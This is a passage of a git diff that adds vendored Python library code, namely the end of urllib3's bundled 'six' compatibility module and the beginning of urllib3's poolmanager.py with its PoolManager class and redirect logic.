MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute( + "unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes" + ), + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes + +_importer._add_module( + Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), + "moves.urllib_parse", + "moves.urllib.parse", +) + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes + +_importer._add_module( + Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), + "moves.urllib_error", + "moves.urllib.error", +) + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module( + Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", + "moves.urllib.request", +) + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module( + Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", + "moves.urllib.response", +) + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = ( + _urllib_robotparser_moved_attributes +) + +_importer._add_module( + Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", + "moves.urllib.robotparser", +) + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ["parse", "error", "request", "response", "robotparser"] + + +_importer._add_module( + Module_six_moves_urllib(__name__ + ".moves.urllib"), "moves.urllib" +) + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + + def advance_iterator(it): + return it.next() + + +next = advance_iterator + + +try: + callable = callable +except NameError: + + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc( + get_unbound_function, """Get the function out of a possibly unbound function""" +) + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc( + iterlists, "Return an iterator over the (key, [values]) pairs of a dictionary." +) + + +if PY3: + + def b(s): + return s.encode("latin-1") + + def u(s): + return s + + unichr = chr + import struct + + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + + StringIO = io.StringIO + BytesIO = io.BytesIO + del io + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" +else: + + def b(s): + return s + + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r"\\", r"\\\\"), "unicode_escape") + + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec ("""exec _code_ in _globs_, _locs_""") + + exec_( + """def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""" + ) + + +if sys.version_info[:2] > (3,): + exec_( + """def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""" + ) +else: + + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if ( + isinstance(fp, file) + and isinstance(data, unicode) + and fp.encoding is not None + ): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) + + +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper( + wrapper, + wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES, + ): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + + def wraps( + wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES, + ): + return functools.partial( + _update_wrapper, wrapped=wrapped, assigned=assigned, updated=updated + ) + + wraps.__doc__ = functools.wraps.__doc__ + +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + def __new__(cls, name, this_bases, d): + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d["__orig_bases__"] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + + return type.__new__(metaclass, "temporary_class", (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get("__slots__") + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop("__dict__", None) + orig_vars.pop("__weakref__", None) + if hasattr(cls, "__qualname__"): + orig_vars["__qualname__"] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + + return wrapper + + +def ensure_binary(s, encoding="utf-8", errors="strict"): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, binary_type): + return s + if isinstance(s, text_type): + return s.encode(encoding, errors) + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding="utf-8", errors="strict"): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + # Optimization: Fast return for the common case. + if type(s) is str: + return s + if PY2 and isinstance(s, text_type): + return s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + return s + + +def ensure_text(s, encoding="utf-8", errors="strict"): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def python_2_unicode_compatible(klass): + """ + A class decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if "__str__" not in klass.__dict__: + raise ValueError( + "@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % klass.__name__ + ) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode("utf-8") + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if ( + type(importer).__name__ == "_SixMetaPathImporter" + and importer.name == __name__ + ): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/function/http/package/urllib3/poolmanager.py b/function/http/package/urllib3/poolmanager.py new file mode 100644 index 0000000..ca4ec34 --- /dev/null +++ b/function/http/package/urllib3/poolmanager.py @@ -0,0 +1,537 @@ +from __future__ import absolute_import + +import collections +import functools +import logging + +from ._collections import RecentlyUsedContainer +from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, port_by_scheme +from .exceptions import ( + LocationValueError, + MaxRetryError, + ProxySchemeUnknown, + ProxySchemeUnsupported, + URLSchemeUnknown, +) +from .packages import six +from .packages.six.moves.urllib.parse import urljoin +from .request import RequestMethods +from .util.proxy import connection_requires_http_tunnel +from .util.retry import Retry +from .util.url import parse_url + +__all__ = ["PoolManager", "ProxyManager", "proxy_from_url"] + + +log = logging.getLogger(__name__) + +SSL_KEYWORDS = ( + "key_file", + "cert_file", + "cert_reqs", + "ca_certs", + "ssl_version", + "ca_cert_dir", + "ssl_context", + "key_password", + "server_hostname", +) + +# All known keyword arguments that could be provided to the pool manager, its +# pools, or the underlying connections. This is used to construct a pool key. +_key_fields = ( + "key_scheme", # str + "key_host", # str + "key_port", # int + "key_timeout", # int or float or Timeout + "key_retries", # int or Retry + "key_strict", # bool + "key_block", # bool + "key_source_address", # str + "key_key_file", # str + "key_key_password", # str + "key_cert_file", # str + "key_cert_reqs", # str + "key_ca_certs", # str + "key_ssl_version", # str + "key_ca_cert_dir", # str + "key_ssl_context", # instance of ssl.SSLContext or urllib3.util.ssl_.SSLContext + "key_maxsize", # int + "key_headers", # dict + "key__proxy", # parsed proxy url + "key__proxy_headers", # dict + "key__proxy_config", # class + "key_socket_options", # list of (level (int), optname (int), value (int or str)) tuples + "key__socks_options", # dict + "key_assert_hostname", # bool or string + "key_assert_fingerprint", # str + "key_server_hostname", # str +) + +#: The namedtuple class used to construct keys for the connection pool. +#: All custom key schemes should include the fields in this key at a minimum. +PoolKey = collections.namedtuple("PoolKey", _key_fields) + +_proxy_config_fields = ("ssl_context", "use_forwarding_for_https") +ProxyConfig = collections.namedtuple("ProxyConfig", _proxy_config_fields) + + +def _default_key_normalizer(key_class, request_context): + """ + Create a pool key out of a request context dictionary. + + According to RFC 3986, both the scheme and host are case-insensitive. + Therefore, this function normalizes both before constructing the pool + key for an HTTPS request. If you wish to change this behaviour, provide + alternate callables to ``key_fn_by_scheme``. + + :param key_class: + The class to use when constructing the key. This should be a namedtuple + with the ``scheme`` and ``host`` keys at a minimum. + :type key_class: namedtuple + :param request_context: + A dictionary-like object that contain the context for a request. + :type request_context: dict + + :return: A namedtuple that can be used as a connection pool key. + :rtype: PoolKey + """ + # Since we mutate the dictionary, make a copy first + context = request_context.copy() + context["scheme"] = context["scheme"].lower() + context["host"] = context["host"].lower() + + # These are both dictionaries and need to be transformed into frozensets + for key in ("headers", "_proxy_headers", "_socks_options"): + if key in context and context[key] is not None: + context[key] = frozenset(context[key].items()) + + # The socket_options key may be a list and needs to be transformed into a + # tuple. + socket_opts = context.get("socket_options") + if socket_opts is not None: + context["socket_options"] = tuple(socket_opts) + + # Map the kwargs to the names in the namedtuple - this is necessary since + # namedtuples can't have fields starting with '_'. + for key in list(context.keys()): + context["key_" + key] = context.pop(key) + + # Default to ``None`` for keys missing from the context + for field in key_class._fields: + if field not in context: + context[field] = None + + return key_class(**context) + + +#: A dictionary that maps a scheme to a callable that creates a pool key. +#: This can be used to alter the way pool keys are constructed, if desired. +#: Each PoolManager makes a copy of this dictionary so they can be configured +#: globally here, or individually on the instance. +key_fn_by_scheme = { + "http": functools.partial(_default_key_normalizer, PoolKey), + "https": functools.partial(_default_key_normalizer, PoolKey), +} + +pool_classes_by_scheme = {"http": HTTPConnectionPool, "https": HTTPSConnectionPool} + + +class PoolManager(RequestMethods): + """ + Allows for arbitrary requests while transparently keeping track of + necessary connection pools for you. + + :param num_pools: + Number of connection pools to cache before discarding the least + recently used pool. + + :param headers: + Headers to include with all requests, unless other headers are given + explicitly. + + :param \\**connection_pool_kw: + Additional parameters are used to create fresh + :class:`urllib3.connectionpool.ConnectionPool` instances. + + Example:: + + >>> manager = PoolManager(num_pools=2) + >>> r = manager.request('GET', 'http://google.com/') + >>> r = manager.request('GET', 'http://google.com/mail') + >>> r = manager.request('GET', 'http://yahoo.com/') + >>> len(manager.pools) + 2 + + """ + + proxy = None + proxy_config = None + + def __init__(self, num_pools=10, headers=None, **connection_pool_kw): + RequestMethods.__init__(self, headers) + self.connection_pool_kw = connection_pool_kw + self.pools = RecentlyUsedContainer(num_pools, dispose_func=lambda p: p.close()) + + # Locally set the pool classes and keys so other PoolManagers can + # override them. + self.pool_classes_by_scheme = pool_classes_by_scheme + self.key_fn_by_scheme = key_fn_by_scheme.copy() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.clear() + # Return False to re-raise any potential exceptions + return False + + def _new_pool(self, scheme, host, port, request_context=None): + """ + Create a new :class:`urllib3.connectionpool.ConnectionPool` based on host, port, scheme, and + any additional pool keyword arguments. + + If ``request_context`` is provided, it is provided as keyword arguments + to the pool class used. This method is used to actually create the + connection pools handed out by :meth:`connection_from_url` and + companion methods. It is intended to be overridden for customization. + """ + pool_cls = self.pool_classes_by_scheme[scheme] + if request_context is None: + request_context = self.connection_pool_kw.copy() + + # Although the context has everything necessary to create the pool, + # this function has historically only used the scheme, host, and port + # in the positional args. When an API change is acceptable these can + # be removed. + for key in ("scheme", "host", "port"): + request_context.pop(key, None) + + if scheme == "http": + for kw in SSL_KEYWORDS: + request_context.pop(kw, None) + + return pool_cls(host, port, **request_context) + + def clear(self): + """ + Empty our store of pools and direct them all to close. + + This will not affect in-flight connections, but they will not be + re-used after completion. + """ + self.pools.clear() + + def connection_from_host(self, host, port=None, scheme="http", pool_kwargs=None): + """ + Get a :class:`urllib3.connectionpool.ConnectionPool` based on the host, port, and scheme. + + If ``port`` isn't given, it will be derived from the ``scheme`` using + ``urllib3.connectionpool.port_by_scheme``. If ``pool_kwargs`` is + provided, it is merged with the instance's ``connection_pool_kw`` + variable and used to create the new connection pool, if one is + needed. + """ + + if not host: + raise LocationValueError("No host specified.") + + request_context = self._merge_pool_kwargs(pool_kwargs) + request_context["scheme"] = scheme or "http" + if not port: + port = port_by_scheme.get(request_context["scheme"].lower(), 80) + request_context["port"] = port + request_context["host"] = host + + return self.connection_from_context(request_context) + + def connection_from_context(self, request_context): + """ + Get a :class:`urllib3.connectionpool.ConnectionPool` based on the request context. + + ``request_context`` must at least contain the ``scheme`` key and its + value must be a key in ``key_fn_by_scheme`` instance variable. + """ + scheme = request_context["scheme"].lower() + pool_key_constructor = self.key_fn_by_scheme.get(scheme) + if not pool_key_constructor: + raise URLSchemeUnknown(scheme) + pool_key = pool_key_constructor(request_context) + + return self.connection_from_pool_key(pool_key, request_context=request_context) + + def connection_from_pool_key(self, pool_key, request_context=None): + """ + Get a :class:`urllib3.connectionpool.ConnectionPool` based on the provided pool key. + + ``pool_key`` should be a namedtuple that only contains immutable + objects. At a minimum it must have the ``scheme``, ``host``, and + ``port`` fields. + """ + with self.pools.lock: + # If the scheme, host, or port doesn't match existing open + # connections, open a new ConnectionPool. + pool = self.pools.get(pool_key) + if pool: + return pool + + # Make a fresh ConnectionPool of the desired type + scheme = request_context["scheme"] + host = request_context["host"] + port = request_context["port"] + pool = self._new_pool(scheme, host, port, request_context=request_context) + self.pools[pool_key] = pool + + return pool + + def connection_from_url(self, url, pool_kwargs=None): + """ + Similar to :func:`urllib3.connectionpool.connection_from_url`. + + If ``pool_kwargs`` is not provided and a new pool needs to be + constructed, ``self.connection_pool_kw`` is used to initialize + the :class:`urllib3.connectionpool.ConnectionPool`. If ``pool_kwargs`` + is provided, it is used instead. Note that if a new pool does not + need to be created for the request, the provided ``pool_kwargs`` are + not used. + """ + u = parse_url(url) + return self.connection_from_host( + u.host, port=u.port, scheme=u.scheme, pool_kwargs=pool_kwargs + ) + + def _merge_pool_kwargs(self, override): + """ + Merge a dictionary of override values for self.connection_pool_kw. + + This does not modify self.connection_pool_kw and returns a new dict. + Any keys in the override dictionary with a value of ``None`` are + removed from the merged dictionary. + """ + base_pool_kwargs = self.connection_pool_kw.copy() + if override: + for key, value in override.items(): + if value is None: + try: + del base_pool_kwargs[key] + except KeyError: + pass + else: + base_pool_kwargs[key] = value + return base_pool_kwargs + + def _proxy_requires_url_absolute_form(self, parsed_url): + """ + Indicates if the proxy requires the complete destination URL in the + request. Normally this is only needed when not using an HTTP CONNECT + tunnel. + """ + if self.proxy is None: + return False + + return not connection_requires_http_tunnel( + self.proxy, self.proxy_config, parsed_url.scheme + ) + + def _validate_proxy_scheme_url_selection(self, url_scheme): + """ + Validates that were not attempting to do TLS in TLS connections on + Python2 or with unsupported SSL implementations. + """ + if self.proxy is None or url_scheme != "https": + return + + if self.proxy.scheme != "https": + return + + if six.PY2 and not self.proxy_config.use_forwarding_for_https: + raise ProxySchemeUnsupported( + "Contacting HTTPS destinations through HTTPS proxies " + "'via CONNECT tunnels' is not supported in Python 2" + ) + + def urlopen(self, method, url, redirect=True, **kw): + """ + Same as :meth:`urllib3.HTTPConnectionPool.urlopen` + with custom cross-host redirect logic and only sends the request-uri + portion of the ``url``. + + The given ``url`` parameter must be absolute, such that an appropriate + :class:`urllib3.connectionpool.ConnectionPool` can be chosen for it. + """ + u = parse_url(url) + self._validate_proxy_scheme_url_selection(u.scheme) + + conn = self.connection_from_host(u.host, port=u.port, scheme=u.scheme) + + kw["assert_same_host"] = False + kw["redirect"] = False + + if "headers" not in kw: + kw["headers"] = self.headers.copy() + + if self._proxy_requires_url_absolute_form(u): + response = conn.urlopen(method, url, **kw) + else: + response = conn.urlopen(method, u.request_uri, **kw) + + redirect_location = redirect and response.get_redirect_location() + if not redirect_location: + return response + + # Support relative URLs for redirecting. + redirect_location = urljoin(url, redirect_location) + + # RFC 7231, Section 6.4.4 + if response.status == 303: + method = "GET" + + retries = kw.get("retries") + if not isinstance(retries, Retry): + retries = Retry.from_int(retries, redirect=redirect) + + # Strip headers marked as unsafe to forward to the redirected location. + # Check remove_headers_on_redirect to avoid a potential network call within + # conn.is_same_host() which may use socket.gethostbyname() in the future. + if retries.remove_headers_on_redirect and not conn.is_same_host( + redirect_location + ): + headers = list(six.iterkeys(kw["headers"])) + for header in headers: + if header.lower() in retries.remove_headers_on_redirect: + kw["headers"].pop(header, None) + + try: + retries = retries.increment(method, url, response=response, _pool=conn) + except MaxRetryError: + if retries.raise_on_redirect: + response.drain_conn() + raise + return response + + kw["retries"] = retries + kw["redirect"] = redirect + + log.info("Redirecting %s -> %s", url, redirect_location) + + response.drain_conn() + return self.urlopen(method, redirect_location, **kw) + + +class ProxyManager(PoolManager): + """ + Behaves just like :class:`PoolManager`, but sends all requests through + the defined proxy, using the CONNECT method for HTTPS URLs. + + :param proxy_url: + The URL of the proxy to be used. + + :param proxy_headers: + A dictionary containing headers that will be sent to the proxy. In case + of HTTP they are being sent with each request, while in the + HTTPS/CONNECT case they are sent only once. Could be used for proxy + authentication. + + :param proxy_ssl_context: + The proxy SSL context is used to establish the TLS connection to the + proxy when using HTTPS proxies. + + :param use_forwarding_for_https: + (Defaults to False) If set to True will forward requests to the HTTPS + proxy to be made on behalf of the client instead of creating a TLS + tunnel 